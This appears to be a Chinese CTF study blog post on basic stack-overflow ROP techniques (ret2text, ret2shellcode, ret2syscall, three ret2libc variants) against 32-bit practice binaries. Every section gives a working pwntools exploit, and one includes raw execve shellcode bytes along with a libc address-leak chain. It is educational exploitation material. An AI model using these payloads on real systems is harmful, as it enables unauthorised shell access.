栈溢出----基础rop

学习文献:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic_rop/
1. 栈溢出基本原理就不写了
列举一下常见的危险函数:

  • 输入
    • gets,直接读取一行,忽略'\x00'
    • scanf
    • vscanf
  • 输出
    • sprintf
  • 字符串
    • strcpy,字符串复制,遇到'\x00'停止
    • strcat,字符串拼接,遇到'\x00'停止
    • bcopy
2. 基础rop
ret2text
栈溢出----基础rop
文章图片

开启NX,无栈保护,32位文件
IDA中打开可以发现system以及/bin/sh,存在危险函数gets,直接修改ret
计算需要覆盖的偏移量
栈溢出----基础rop
文章图片

【栈溢出----基础rop】知道ebp和esp之后,结合s相对于esp的偏移量
栈溢出----基础rop
文章图片

exp
payload='a'*(0x6c+0x04) cn.sendline(payload+p32(0x0804863A)) cn.interactive()


ret2shellcode
ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。
在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。
这是学习文献中的原话,链接上面有,之前我们看见有那个NX保护,也就是说相应区域的NX保护没开启,我们自己手动打shellcode来夺取权限
栈溢出----基础rop
文章图片

啥保护都没开启,辣是真滴流批,32位文件
main函数中有gets还有strncpy函数,但是没有相对应的system和/bin/sh,但是NX没开启,打shellcode
栈溢出----基础rop
文章图片

这里gets函数返回地址没有system给我们构造,但是strncpy里的buf字段我们可以尝试通过往s写如shellcode来复制进去,buf我们可以看到在bss字段
我们可以查看一下该字段的权限
栈溢出----基础rop
文章图片

我们可以看到buf所在处(0x0804A080)是可执行的
计算偏移量
设断电后,发现s相对于ebp的偏移量是0x6C
也就是说我们覆盖空间+shellcode=0x6C+0x04,exp如下
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode += "\x0b\xcd\x80"#cn.sendline(shellcode.ljust(112, 'a')+p32(0x0804a080)) cn.sendline(shellcode+'a'*(0x6C+0x04-len(shellcode))+p32(0x0804a080)) #等价于上一行 cn.interactive()


ret2syscall
ret2syscall,即控制程序执行系统调用,获取 shell
栈溢出----基础rop
文章图片

32位,没有栈保护,有NX,拖进IDA看一下main函数
栈溢出----基础rop
文章图片

这次我们可以发现没有system函数,NX保护开启了,但是我们可以搜索字符串找到/bin/sh,但是我们这次没有函数来调用我们的shell,那怎么办?
我们可以伪造一个系统调用
我们可以将需要调用的参数压入对应的寄存器,那么我们在执行 int 0x80 就可执行对应的系统调用
#int $0x80是一条AT&T语法的中断指令,用于Linux的系统调用
其中,该程序是 32 位,所以我们需要使得
  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0
我们可以使用 ropgadgets 这个工具来寻找各个寄存器可以控制的地址以及int 0x80的地址和/bin/sh的地址,具体如下
栈溢出----基础rop
文章图片

我们这里选择0x080bb196
之后我们找ebx的时候选择0x0806eb90(edx,ecx,ebx全都有)
/bin/sh地址为0x080be408
int 0x80地址为0x08049421
最后就差脚本了,但不要忘记s的偏移量哦
栈溢出----基础rop
文章图片

依然是0x6c
来,exp
eax_ret = 0x080bb196 edx_ecx_ebx_ret = 0x0806eb90 bin_sh=0x080be408 int_80=0x08049421 payload=flat(['a'*(0x6C+0x04), eax_ret, 0xb, edx_ecx_ebx_ret, 0, 0, bin_sh, int_80]) #payload='a'*(0x6C+0x04)+p32(eax_ret)+p32(0xb)+p32(edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bin_sh)+p32(int_80)#遇上一行相同 cn.sendline(payload) cn.interactive()


ret2libc
ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址
#ibc:Linux下的ANSI C的函数库,ANSI C是基本的C语言函数库,包含了C语言最基本的库函数
#plt与got:https://blog.csdn.net/linyt/article/details/51635768
先看一波这文件防护机制情况
栈溢出----基础rop
文章图片

32位,开启了NX保护,没有栈溢出保拖进IDA确定漏洞位置
栈溢出----基础rop
文章图片

gets函数可以溢出
栈溢出----基础rop
文章图片

存在/bin/sh
栈溢出----基础rop
文章图片

存在system函数
OK,那直接覆盖eip,正常调用system函数的时候,记得要添加一个返回地址(随便就好,反正是假的)
system_addr=0x08048460 bin_sh=0x08048720 payload=flat(['a'*(0x6C+0x04),system_addr,'a'*0x04,bin_sh]) cn.sendline(payload) cn.interactive()


ret2libc2
我们已经感受了一波lib,有system函数,但是这次不给你/bin/sh,要靠自己写入咯
栈溢出----基础rop
文章图片

32位文件,有NX保护,无栈溢出保护
拖进IDA找漏洞位置
栈溢出----基础rop
文章图片

gets函数可以溢出
因为本身是没有/bin/sh的,所以我们需要在一个空的bss字段写入/bin/sh
exp
gets_plt=0x08048460 system_plt=0x08048490 bss=0x0804A080 ebp_ret=0x0804843d payload=flat(['a'*(0x6C+0x04),gets_plt,ebp_ret,bss]) payload2=flat([system_plt,'a'*0x04,bss]) cn.send(payload) cn.sendline(payload2) cn.sendline('/bin/sh') cn.interactive()


ret2libc3
接下来更进一步了,连system函数都没了,需要我们去libc库里找,/bin/sh也可以去libc库里找
栈溢出----基础rop
文章图片

有NX,无栈保护
栈溢出----基础rop
文章图片

gets函数可以溢出
system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的,我们可以通过找出文件中的函数在got表中的地址,再结合got表中距离system函数的偏移量,从而把system在文件中的存放地址调出来,/bin/sh也是同理
这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下
  • 泄露 __libc_start_main 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’)
exp
puts_plt=bin.plt['puts'] libc_start_main_got=bin.got['__libc_start_main'] main=bin.symbols['main'] payload=flat(['a'*(0x6C+0x04),puts_plt,main,libc_start_main_got]) cn.recvuntil('Can you find it !?') cn.sendline(payload) libc_start_main_addr=u32(cn.recv(4))#leak address system_addr=libc.symbols['system']+libc_start_main_addr-libc.symbols['__libc_start_main'] bin_sh_addr=libc.search('/bin/sh').next()+libc_start_main_addr-libc.symbols['__libc_start_main'] payload2 = flat(['a'*(0x6C+0x04), system_addr, 'a'*0x04, bin_sh_addr]) cn.recvuntil('Can you find it !?') cn.sendline(payload2) cn.interactive()




    推荐阅读